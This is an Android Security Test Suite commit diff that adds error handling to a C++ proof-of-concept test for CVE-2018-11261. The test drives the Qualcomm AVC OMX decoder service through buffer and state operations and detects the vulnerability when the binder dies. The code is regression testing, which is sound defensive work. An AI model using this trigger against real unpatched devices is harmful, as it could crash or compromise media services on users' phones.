Merge "[RESTRICT AUTOMERGE]: STS test fix for CVE-2018-11261" into oc-mr1-dev

1 files changed, 35 insertions, 13 deletions

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/poc.cpp
index 84a6a173bde..949666f27c0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/poc.cpp
@@ -19,6 +19,7 @@
  */
 #undef _GNU_SOURCE
 #define _GNU_SOURCE
+#include <err.h>
 #include "../includes/common.h"
 #include "OMX_Component.h"
 #include <binder/IServiceManager.h>
@@ -67,10 +68,10 @@ extern bool connectOMX(sp<IOMX> &omx) {
   return true;
 }
 
-int poc() {
+void poc() {
   sp<IOMX> service;
   if (connectOMX(service) == false) {
-    return EXIT_FAILURE;
+    err(EXIT_FAILURE, "could not connect OMX");
   }
   sp<IOMXNode> node = 0;
   OMXBuffer omxBuf;
@@ -78,20 +79,27 @@ int poc() {
   sp<DummyOMXObserver> observer = new DummyOMXObserver();
 
   const char *codecName = "OMX.qcom.video.decoder.avc";
-  status_t err = service->allocateNode(codecName, observer, &node);
-  if (err != OK) {
-    return EXIT_FAILURE;
+  status_t ret = service->allocateNode(codecName, observer, &node);
+  if (ret != OK) {
+      err(EXIT_FAILURE, "error allocating node");
   }
+
   sp<DeathRecipient> deathRecipient(new DeathRecipient());
   IInterface::asBinder(service)->linkToDeath(deathRecipient);
 
-  err = node->sendCommand(OMX_CommandStateSet, 2);
+  ret = node->sendCommand(OMX_CommandStateSet, 2);
+  if (ret != OK) {
+      err(EXIT_FAILURE, "error sending command");
+  }
   // get input port parameters
   OMX_PARAM_PORTDEFINITIONTYPE def;
   InitOMXParams(&def);
   def.nPortIndex = 0;
   OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
-  err = node->getParameter(omx_indextype, &def, sizeof(def));
+  ret = node->getParameter(omx_indextype, &def, sizeof(def));
+  if (ret != OK) {
+      err(EXIT_FAILURE, "error getting parameter");
+  }
 
   int inMemSize = def.nBufferCountActual * def.nBufferSize;
   int inBufferCnt = def.nBufferCountActual;
@@ -102,7 +110,10 @@ int poc() {
   // get output port parameters
   InitOMXParams(&def);
   def.nPortIndex = 1;
-  err = node->getParameter(omx_indextype, &def, sizeof(def));
+  ret = node->getParameter(omx_indextype, &def, sizeof(def));
+  if (ret != OK) {
+      err(EXIT_FAILURE, "error getting output port parameters");
+  }
 
   // prepare output port buffers
   int outMemSize = def.nBufferCountActual * def.nBufferSize;
@@ -114,7 +125,10 @@ int poc() {
     sp<IMemory> memory = dealerIn->allocate(inBufferSize);
     memset(memory->pointer(), 0xcd, inBufferSize);
     OMXBuffer omxBuf(memory);
-    err = node->useBuffer(0, omxBuf, &inBufferId[i]);
+    ret = node->useBuffer(0, omxBuf, &inBufferId[i]);
+    if (ret != OK) {
+        err(EXIT_FAILURE, "error using buffer");
+    }
   }
 
   for (int i = 0; i < outBufferCnt; i++) {
@@ -123,18 +137,26 @@ int poc() {
   }
 
   // change state from idle to executing
-  err = node->sendCommand(OMX_CommandStateSet, 3);
+  ret = node->sendCommand(OMX_CommandStateSet, 3);
+  if (ret != OK) {
+      err(EXIT_FAILURE, "error changing from idle to executing");
+  }
 
   for (int i = 0; i < inBufferCnt; i++) {
-    err = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
+    ret = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
+    if (ret != OK) {
+      err(EXIT_FAILURE, "error emptying buffer");
+    }
     node->freeBuffer(1, inBufferId[i]);
   }
   sleep(1);
+
+  delete[] inBufferId;
+
   node->freeNode();
   if (deathRecipient->died()) {
-    exit(0); //binder died
+    exit(EXIT_SUCCESS); //binder died
   }
-  return 0;
 }
 
 int main() {